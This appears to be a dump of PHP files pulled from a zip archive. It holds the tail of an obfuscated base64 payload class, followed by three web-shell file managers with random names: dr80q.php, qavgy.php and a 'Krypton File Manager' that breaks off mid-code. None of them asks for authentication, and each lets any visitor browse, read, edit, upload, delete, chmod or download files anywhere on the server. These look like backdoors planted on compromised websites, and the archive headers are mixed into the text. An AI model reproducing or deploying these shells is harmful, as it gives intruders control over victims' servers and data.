kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR
ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP
JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ
jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x
V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M
EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B
SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a
J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo
b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO
5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv
UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien
O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV
6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn
AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm
Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU
4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG
FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4
1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm
WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1
kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ
W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY
+kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw
y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R
2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky
mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe
QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j
fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR
k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J
kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK
H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH
TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ
P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D
tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs
oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX
YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf
K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT
vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR
p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM
0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj
ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R
QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd
IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb
LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d
SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh
LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj
IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv
SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E
tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF
HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw
JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf
0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV
17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va
ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw
Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH
+nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz
zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX
p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO
6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q
sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten
OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+
fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8
TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy
Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V
DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth
Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn
Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A
NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf
vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4
6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV
Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo
md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG
EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l
dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA
sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG
Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4
to3nPs1CFw74FSzShaD+W5aWN9oiZeB
pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg
qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD
oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
7nip56POvqvOvv';
public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
public $_worker;
}
new Div();
?>PK �Cm\�K�V� � dr80q.phpnu �[��� <?php
session_start();
// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
die("Direktori tidak ditemukan.");
}
function deleteDir($dirPath) {
if (!is_dir($dirPath)) return unlink($dirPath);
foreach (scandir($dirPath) as $item) {
if ($item === '.' || $item === '..') continue;
deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
}
return rmdir($dirPath);
}
// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
$old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
$new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
if (file_exists($old)) rename($old, $new);
}
// Hapus
if (isset($_GET['delete'])) {
$target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
if (strpos($target, $currentDir) === 0 || file_exists($target)) {
deleteDir($target);
}
header("Location: ?path=" . urlencode($currentDir));
exit;
}
// Download
if (isset($_GET['download'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
if (is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
// View/Edit
if (isset($_GET['view'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($file, $_POST['content']);
echo "<p>File disimpan.</p>";
}
$content = htmlspecialchars(file_get_contents($file));
echo "<h3>Edit: ".basename($file)."</h3>";
echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
exit;
}
}
// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$tmpName = $_FILES['upload']['tmp_name'];
$name = basename($_FILES['upload']['name']);
move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
header("Location: ?path=" . urlencode($currentDir));
exit;
}
$items = scandir($currentDir);
?>
<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload" required>
<button type="submit">Unggah</button>
</form>
<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
if ($item === '.' || $item === '..') continue;
$path = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($path);
?>
<tr>
<td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
<td>
<?php if (!$isDir): ?>
<a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
<a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
<?php endif; ?>
<a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
</td>
<td>
<form method="post" style="display:inline;">
<input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
<input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
<button type="submit" name="rename">Ubah</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<style>
body { font-family: sans-serif; }
table { border-collapse: collapse; width: 100%; }
td, th { padding: 5px; text-align: left; }
</style>PK �Cm\�rf:/ :/ qavgy.phpnu �[��� <?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);
// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) $dirs[] = $item;
else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);
// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
set_time_limit(0);
$timestamp = time();
$zipFileName = 'selected_' . $timestamp . '.zip';
$zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;
$zip = new ZipArchive();
if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
foreach ($_POST['selected_items'] as $item) {
$path = realpath($item);
if (!$path || !file_exists($path)) continue;
if (is_file($path)) {
$zip->addFile($path, basename($path));
} elseif (is_dir($path)) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
$filePath = $file->getRealPath();
$localPath = substr($filePath, strlen($dir) + 1);
$zip->addFile($filePath, $localPath);
}
}
}
$zip->close();
$message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
$messageType = "success";
} else {
$message = "ZIP 打包失败";
$messageType = "danger";
}
}
// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
$zipFileName = basename($_GET['download_zip']);
$zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;
if (file_exists($zipFilePath)) {
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
header('Content-Length: ' . filesize($zipFilePath));
$fp = fopen($zipFilePath, 'rb');
if ($fp) {
while (!feof($fp)) {
echo fread($fp, 1024 * 1024);
flush();
}
fclose($fp);
}
unlink($zipFilePath);
exit;
} else {
echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
}
}
// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadFile = $_FILES['file'];
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
$message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
$messageType = "success";
} else {
$message = "文件上传失败";
$messageType = "danger";
}
}
// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
$name = trim($_POST['new_name']);
$type = $_POST['new_type'];
$path = $dir . DIRECTORY_SEPARATOR . $name;
if ($name !== '') {
if ($type === 'file') {
if (file_put_contents($path, '') !== false) {
$message = "文件创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件创建失败";
$messageType = "danger";
}
} elseif ($type === 'folder') {
if (mkdir($path)) {
$message = "文件夹创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件夹创建失败";
$messageType = "danger";
}
}
} else {
$message = "名称不能为空";
$messageType = "warning";
}
}
// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
$chmodFile = realpath($_POST['chmod_file']);
$mode = octdec($_POST['chmod_mode']);
if ($chmodFile && file_exists($chmodFile)) {
if (chmod($chmodFile, $mode)) {
$message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
$messageType = "success";
} else {
$message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
if (is_file($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) {
deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
}
return rmdir($path);
}
if (isset($_GET['delete'])) {
$deletePath = realpath($_GET['delete']);
if ($deletePath && strpos($deletePath, $dir) === 0) {
if (deleteRecursive($deletePath)) {
$message = "删除成功: " . htmlspecialchars(basename($deletePath));
$messageType = "success";
} else {
$message = "删除失败: " . htmlspecialchars(basename($deletePath));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
$editFile = realpath($_GET['edit']);
if ($editFile && is_file($editFile)) {
$editContent = file_get_contents($editFile);
} else {
$message = "无法编辑该文件";
$messageType = "danger";
}
}
// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
$filePath = realpath($_POST['edit_file']);
if ($filePath && is_file($filePath)) {
file_put_contents($filePath, $_POST['content']);
$message = "文件已保存";
$messageType = "success";
} else {
$message = "无法写入文件";
$messageType = "danger";
}
}
// 生成面包屑
function generateBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$pathAccum = '';
$breadcrumb = [];
foreach ($parts as $part) {
if ($part === '') continue;
$pathAccum .= DIRECTORY_SEPARATOR . $part;
$breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
}
return implode(" / ", $breadcrumb);
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">
<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>
<?php if (!empty($message)): ?>
<div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>
<!-- ✅ 已移除“打包当前目录”按钮 -->
<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
<input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
<select name="new_type" class="form-select-sm" required>
<option value="file">文件</option>
<option value="folder">文件夹</option>
</select>
<button type="submit" class="btn btn-success btn-sm">创建</button>
</form>
<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
<input type="file" name="file" required>
<button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>
<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
<textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
<div class="d-flex gap-1">
<button type="submit" class="btn btn-warning btn-sm">保存修改</button>
<a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
</div>
</form>
<?php else: ?>
<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
<thead class="table-dark">
<tr>
<th><input type="checkbox" id="checkAll"></th>
<th>名称</th>
<th>类型</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php
$parent = dirname($dir);
if ($parent !== $dir) {
echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
}
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
echo "<tr>";
echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
if (is_dir($path)) {
echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
} else {
echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
}
echo "<td class='d-flex gap-1 align-items-center'>";
if (is_file($path)) {
echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
}
echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
<input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
<input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
<button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
</form>";
echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";
echo "</td>";
echo "</tr>";
}
?>
</tbody>
</table>
<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>
<?php endif; ?>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
PK �Cm\�d��o� o� 9gvid.phpnu �[��� <?php
/**
* Krypton File Manager
* A single-file PHP file manager with full server access and enhanced features
*/
// Start session
session_start();
// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout
// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
$encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}
// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
// Session expired
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time
// Encryption and decryption functions
function encryptPath($path) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
function decryptPath($encryptedPath) {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false) {
return getcwd(); // Default to current directory if decoding fails
}
if (strpos($decoded, '::') === false) {
return getcwd(); // Default to current directory if separator not found
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd(); // Default to current directory if IV is invalid
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
if ($decrypted === false) {
return getcwd(); // Default to current directory if decryption fails
}
return $decrypted;
} catch (Exception $e) {
return getcwd(); // Default to current directory on any exception
}
}
// Function to get human-readable file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// Function to get file permissions in Unix format
function getFilePermissions($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Function to get file extension
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
// Function to check if a file is editable
function isEditableFile($filename) {
/*
$editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
$extension = getFileExtension($filename);
return in_array($extension, $editableExtensions);
*/
return true;
}
// Process actions
$error = '';
$success = '';
// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path
// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
$currentPath = $_SESSION['current_path'];
}
// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Store current path for form submissions
if (isset($_POST['current_path'])) {
$decryptedCurrentPath = decryptPath($_POST['current_path']);
if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
$currentPath = $decryptedCurrentPath;
$_SESSION['current_path'] = $currentPath;
}
}
if (isset($_POST['action'])) {
// Handle file content request for editing
if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
$filePath = decryptPath($_POST['path']);
if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
echo file_get_contents($filePath);
exit;
} else {
echo "Error: Cannot read file.";
exit;
}
}
// Handle navigation
if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
$decryptedPath = decryptPath($_POST['path']);
if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
$currentPath = $decryptedPath;
$_SESSION['current_path'] = $currentPath;
}
}
// Handle file download
if ($_POST['action'] === 'download' && isset($_POST['path'])) {
$downloadPath = decryptPath($_POST['path']);
if (file_exists($downloadPath) && !is_dir($downloadPath)) {
// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($downloadPath));
ob_clean();
flush();
readfile($downloadPath);
exit;
}
}
}
// Handle file upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$success = 'File uploaded successfully.';
} else {
$error = 'Failed to upload file.';
}
} else {
$error = 'No file selected or upload error.';
}
}
// Handle file/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$deletePath = decryptPath($_POST['path']);
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
// Try to remove directory
if (rmdir($deletePath)) {
$success = 'Directory deleted successfully.';
} else {
$error = 'Failed to delete directory. It may not be empty.';
}
} else {
// Remove file
if (unlink($deletePath)) {
$success = 'File deleted successfully.';
} else {
$error = 'Failed to delete file.';
}
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file/directory rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$oldPath = decryptPath($_POST['oldPath']);
$newName = $_POST['newName'];
$dirName = dirname($oldPath);
$newPath = $dirName . '/' . $newName;
if (file_exists($oldPath)) {
